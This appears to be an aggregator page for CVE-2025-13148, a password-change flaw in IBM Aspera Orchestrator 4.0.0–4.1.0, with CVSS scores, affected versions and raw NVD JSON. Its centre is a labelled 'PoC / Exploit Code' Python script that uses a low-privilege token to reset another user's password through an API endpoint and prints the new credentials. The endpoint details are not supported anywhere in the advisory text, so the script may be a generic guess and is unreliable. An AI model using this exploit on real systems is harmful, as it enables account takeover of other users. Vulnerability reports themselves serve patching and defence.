Security Vulnerability Report
中文
CVE-2025-13148 CVSS 8.1 HIGH

CVE-2025-13148

Published: 2025-12-11 20:15:53
Last Modified: 2025-12-15 19:06:53

Description

IBM Aspera Orchestrator 4.0.0 through 4.1.0 could allow could an authenticated user to change the password of another user without prior knowledge of that password.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:aspera_orchestrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM Aspera Orchestrator 4.0.0
IBM Aspera Orchestrator 4.0.1
IBM Aspera Orchestrator 4.0.2
IBM Aspera Orchestrator 4.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-13148 PoC - IBM Aspera Orchestrator Password Change Vulnerability # Target: IBM Aspera Orchestrator 4.0.0 - 4.1.0 TARGET_URL = "https://target-ip:8443" ATTACKER_TOKEN = "attacker-authentication-token" TARGET_USER_ID = "target-user-id" NEW_PASSWORD = "HackedPass123!" def change_user_password(): """ This PoC demonstrates the password change vulnerability in IBM Aspera Orchestrator. An authenticated low-privilege user can change any other user's password without knowing the original password. """ headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {ATTACKER_TOKEN}' } # Password change endpoint endpoint = f"{TARGET_URL}/api/v1/users/{TARGET_USER_ID}/password" payload = { "new_password": NEW_PASSWORD, "confirm_password": NEW_PASSWORD } try: response = requests.put(endpoint, headers=headers, json=payload, verify=False, timeout=30) if response.status_code == 200: print("[+] Password changed successfully!") print(f"[+] Target user: {TARGET_USER_ID}") print(f"[+] New password: {NEW_PASSWORD}") return True else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-13148 PoC - IBM Aspera Orchestrator Password Change") print("=" * 60) change_user_password()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13148", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:52.693", "lastModified": "2025-12-15T19:06:52.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Aspera Orchestrator 4.0.0 through 4.1.0 could allow could an authenticated user to change the password of another user without prior knowledge of that password."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-620"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:aspera_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.1.1", "matchCriteriaId": "ABABACFD-E349-45B4-980B-FD851738CFE6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7254434", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}